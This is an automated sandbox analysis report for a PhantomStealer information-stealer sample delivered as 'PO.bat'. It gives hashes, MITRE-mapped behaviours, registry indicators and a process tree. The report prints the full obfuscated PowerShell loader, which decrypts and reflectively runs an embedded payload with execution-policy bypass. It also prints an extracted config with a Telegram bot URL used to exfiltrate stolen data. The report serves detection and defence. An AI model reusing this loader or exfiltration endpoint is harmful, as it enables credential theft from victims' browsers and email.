phantom_stealer | 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea

Analysis

max time kernel
149s
max time network
96s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
11/05/2026, 14:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO.bat
Size 770KB
Sample260511-rs2wpafx7m
SHA256 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea
MD5 d6d307304d54128d602a2197ebf971e3
SHA1 2e3666d8ffa10c67e470f8c0062e51fec6709b27
SHA512 ac7ad61cd4464f599c48460f5e3fcccc8e0dd6b8a1960ebf529a99f7b23927f68a0483eac28bceaca06ba6283a5aec6feac67a57853abe88c5abe73f2babcdef
SSDEEP 24576:FgpEcY6oleENsUSt2ZDqjWWg3sAo68ANW:+8PA0DqjJt
TLSH
T1A5F423924BCF4EBD24F7C82E7A17776DF3828BF18BB5D5E80685708E106D94EAD40905
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

https://api.telegram.org/bot8525743193:AAFzcKe-c_Gl8aPJeRpTZX7VXqRcLiOSSPk/sendMessage?chat_id=7217111340

Mutex

OJ4LOG4CT9SG44FHNNJG

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
1
keylogger
1
start_delay
0
startup
1

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 3 IoCs

resource	yara_rule
behavioral2/memory/4692-11-0x00000176EE5C0000-0x00000176EE67E000-memory.dmp	family_phantomstealer
behavioral2/memory/1836-77-0x000001CAC7570000-0x000001CAC762E000-memory.dmp	family_phantomstealer
behavioral2/memory/4908-168-0x000002197B680000-0x000002197B73E000-memory.dmp	family_phantomstealer

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	4692	powershell.exe
24	4692	powershell.exe
25	4692	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5460	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Roaming\\powershell.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4692	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	icanhazip.com

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3580	chrome.exe
1680	chrome.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4692	powershell.exe
4692	powershell.exe
5460	powershell.exe
5460	powershell.exe
4692	powershell.exe
4692	powershell.exe
1836	chrome.exe
1836	chrome.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
1264	chrome.exe
1264	chrome.exe
4692	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	5460	powershell.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
1836	chrome.exe
1836	chrome.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
5308	firefox.exe
1264	chrome.exe
1264	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5308	firefox.exe
4692	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 4692	2552	cmd.exe	80
PID 4692 wrote to memory of 1836	4692	powershell.exe	84
PID 1836 wrote to memory of 4920	1836	chrome.exe	85
PID 4692 wrote to memory of 1836	4692	powershell.exe	84
PID 4692 wrote to memory of 1836	4692	powershell.exe	84
PID 1836 wrote to memory of 2188	1836	chrome.exe	86
PID 1836 wrote to memory of 3580	1836	chrome.exe	87
PID 1836 wrote to memory of 5232	1836	chrome.exe	88
PID 1836 wrote to memory of 5672	1836	chrome.exe	90
PID 1836 wrote to memory of 2280	1836	chrome.exe	91
PID 1836 wrote to memory of 1848	1836	chrome.exe	92
PID 1836 wrote to memory of 1824	1836	chrome.exe	93
PID 4692 wrote to memory of 1644	4692	powershell.exe	94
PID 1644 wrote to memory of 4908	1644	msedge.exe	95
PID 4692 wrote to memory of 4908	4692	powershell.exe	95
PID 4692 wrote to memory of 4908	4692	powershell.exe	95
PID 4692 wrote to memory of 5996	4692	powershell.exe	96
PID 5996 wrote to memory of 5308	5996	firefox.exe	97
PID 5996 wrote to memory of 5308	5996	firefox.exe	97
PID 4692 wrote to memory of 5308	4692	powershell.exe	97
PID 4692 wrote to memory of 5308	4692	powershell.exe	97
PID 5308 wrote to memory of 2540	5308	firefox.exe	98
PID 5308 wrote to memory of 2540	5308	firefox.exe	98
PID 5308 wrote to memory of 2540	5308	firefox.exe	98
PID 5308 wrote to memory of 4824	5308	firefox.exe	99
PID 5308 wrote to memory of 4824	5308	firefox.exe	99
PID 5308 wrote to memory of 4824	5308	firefox.exe	99
PID 5308 wrote to memory of 4824	5308	firefox.exe	99
PID 5308 wrote to memory of 1404	5308	firefox.exe	100
PID 5308 wrote to memory of 1136	5308	firefox.exe	101
PID 5308 wrote to memory of 1136	5308	firefox.exe	101
PID 5308 wrote to memory of 1136	5308	firefox.exe	101
PID 5308 wrote to memory of 2476	5308	firefox.exe	102
PID 5308 wrote to memory of 5748	5308	firefox.exe	103
PID 5308 wrote to memory of 5748	5308	firefox.exe	103
PID 5308 wrote to memory of 5748	5308	firefox.exe	103
PID 5308 wrote to memory of 4160	5308	firefox.exe	104
PID 5308 wrote to memory of 5484	5308	firefox.exe	105
PID 5308 wrote to memory of 5484	5308	firefox.exe	105
PID 5308 wrote to memory of 5484	5308	firefox.exe	105
PID 5308 wrote to memory of 5648	5308	firefox.exe	106
PID 5308 wrote to memory of 2688	5308	firefox.exe	107
PID 5308 wrote to memory of 2688	5308	firefox.exe	107
PID 5308 wrote to memory of 2688	5308	firefox.exe	107
PID 5308 wrote to memory of 5320	5308	firefox.exe	108
PID 5308 wrote to memory of 5320	5308	firefox.exe	108
PID 5308 wrote to memory of 5320	5308	firefox.exe	108
PID 5308 wrote to memory of 5320	5308	firefox.exe	108
PID 5308 wrote to memory of 5104	5308	firefox.exe	109
PID 5308 wrote to memory of 5020	5308	firefox.exe	110
PID 5308 wrote to memory of 5020	5308	firefox.exe	110
PID 5308 wrote to memory of 5020	5308	firefox.exe	110
PID 5308 wrote to memory of 4492	5308	firefox.exe	111
PID 5308 wrote to memory of 5340	5308	firefox.exe	112
PID 5308 wrote to memory of 5340	5308	firefox.exe	112
PID 5308 wrote to memory of 5340	5308	firefox.exe	112
PID 5308 wrote to memory of 5696	5308	firefox.exe	113
PID 5308 wrote to memory of 5696	5308	firefox.exe	113
PID 5308 wrote to memory of 5696	5308	firefox.exe	113
PID 5308 wrote to memory of 5696	5308	firefox.exe	113
PID 5308 wrote to memory of 2500	5308	firefox.exe	114
PID 5308 wrote to memory of 2500	5308	firefox.exe	114
PID 5308 wrote to memory of 2500	5308	firefox.exe	114
PID 5308 wrote to memory of 2500	5308	firefox.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\system32\windowspowershell\v1.0\powershell.exe
  "C:\Windows\system32\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function JWhhF($HBguE){ $BuSjs=New-Object System.IO.MemoryStream(,$HBguE); $pKszH=New-Object System.IO.MemoryStream; $QVWHm=New-Object System.IO.Compression.GZipStream($BuSjs, [IO.Compression.CompressionMode]::Decompress); $QVWHm.CopyTo($pKszH); $QVWHm.Dispose(); $BuSjs.Dispose(); $pKszH.Dispose(); $pKszH.ToArray();}function rnxZy($HBguE){ $GFgyM=[System.Security.Cryptography.Aes]::Create(); $GFgyM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GFgyM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GFgyM.Key=[System.Convert]::FromBase64String('P3b8w+XWvlb+xnmKZ0IX5gpqxjenZMthhOwCNx7s0ms='); $GFgyM.IV=[System.Convert]::FromBase64String('+kCZYyNRLWxH/gHcfoZbiw=='); $TnlmJ=$GFgyM.CreateDecryptor(); $vVMRk=$TnlmJ.TransformFinalBlock($HBguE, 0, $HBguE.Length); $TnlmJ.Dispose(); $GFgyM.Dispose(); $vVMRk;}function HhXJC($HBguE,$WHFAZ){ $VeLPH=[System.Reflection.Assembly]::Load([byte[]]$HBguE); $QEYtP=$VeLPH.EntryPoint; $QEYtP.Invoke($null, $WHFAZ);}$yIFuK = 'C:\Users\Admin\AppData\Local\Temp\PO.bat';$host.UI.RawUI.WindowTitle = $yIFuK;$VZfyP=[System.IO.File]::ReadAllText($yIFuK).Split([Environment]::NewLine);foreach ($MYBKT in $VZfyP) { if ($MYBKT.StartsWith('gTUwHhAwMtNdExrcOdcv')) { $aQvps=$MYBKT.Substring(20); break; }}$HzcLp=[string[]]$aQvps.Split('\');$LSNXi=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[0].Replace('#', '/').Replace('@', 'A'))));$zEXWX=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[1].Replace('#', '/').Replace('@', 'A'))));HhXJC $LSNXi $null;HhXJC $zEXWX (,[string[]] (''));"
  2⤵
  - Badlisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffd4ac3c728,0x7ffd4ac3c734,0x7ffd4ac3c740
      4⤵
      PID:4920
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1620,i,7685775032161481945,5769065308777173592,262144 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
      4⤵
      PID:2188
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --force-high-res-timeticks=disabled --metrics-shmem-handle=2020,i,8372741465536760632,13356003878448107798,524288 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:11
      4⤵
      System Time Discovery
      PID:3580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,14545389247901953099,244426348987427168,524288 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:13
      4⤵
      PID:5232
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,10761763075751848077,8029651636528810183,2097152 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:1
      4⤵
      PID:5672
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,5618834864727879215,5410350348591203532,2097152 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=3200 /prefetch:1
      4⤵
      PID:2280
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3376,i,15981386360397510223,4383601375942685766,2097152 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
      4⤵
      PID:1848
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3392,i,15329092552493241737,15839538267617746051,2097152 --field-trial-handle=1916,i,17260203509154852735,7348825152452958575,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:9
      4⤵
      PID:1824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\xwlanadd.iy3"
    3⤵
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\xwlanadd.iy3 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\xwlanadd.iy3\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ffd4a83c188,0x7ffd4a83c194,0x7ffd4a83c1a0
      4⤵
      PID:4908
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\qpbvmgzx.1u3"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5996
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\qpbvmgzx.1u3
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5308
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1972 -prefsLen 27097 -prefMapHandle 1976 -prefMapSize 270279 -ipcHandle 2052 -initialChannelId {2880d10d-da70-46f3-a502-9bf4d3c06b85} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:2540
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2512 -prefsLen 27133 -prefMapHandle 2516 -prefMapSize 270279 -ipcHandle 2112 -initialChannelId {0c6ff784-02aa-4905-99c2-16875b291158} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:4824
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\d2072a8f-79c7-4dff-b412-2a14523a19fc.dmp"
        5⤵
        
        PID:1404
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2172 -prefsLen 27133 -prefMapHandle 2820 -prefMapSize 270279 -ipcHandle 2340 -initialChannelId {6e300895-bed1-4495-b4b2-3ce9d2a3cb2a} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:1136
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4ec46c47-defc-4641-80c6-6190832505da.dmp"
        5⤵
        
        PID:2476
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2316 -prefsLen 27133 -prefMapHandle 2916 -prefMapSize 270279 -ipcHandle 2944 -initialChannelId {2edd70ef-3e64-4b47-92eb-820f93886603} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:5748
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\93f0bade-be97-41a1-b936-1ca057e3cfe5.dmp"
        5⤵
        
        PID:4160
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2944 -prefsLen 27198 -prefMapHandle 3208 -prefMapSize 270279 -ipcHandle 3300 -initialChannelId {ee546415-7162-49d4-a8ff-14ff73fea037} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:5484
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c5d297f5-6c11-4db8-90cc-62b873d7823d.dmp"
        5⤵
        
        PID:5648
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3300 -prefsLen 27247 -prefMapHandle 3552 -prefMapSize 270279 -ipcHandle 3556 -initialChannelId {6fa0c162-b346-4907-8510-d9627b9d8180} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        5⤵
        
        PID:2688
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3772 -prefsLen 27323 -prefMapHandle 3776 -prefMapSize 270279 -jsInitHandle 3780 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3788 -initialChannelId {1bb9aa4c-7439-4448-a995-5b2428c9d6df} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        5⤵
        Checks processor information in registry
        
        PID:5320
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\7030e0e3-48d0-40b7-bfa0-325dd0cad60f.dmp"
        5⤵
        
        PID:5104
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3556 -prefsLen 27323 -prefMapHandle 3964 -prefMapSize 270279 -ipcHandle 3548 -initialChannelId {77fdd824-f059-42eb-9ff0-16b2a0c62d22} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 gpu
        5⤵
        
        PID:5020
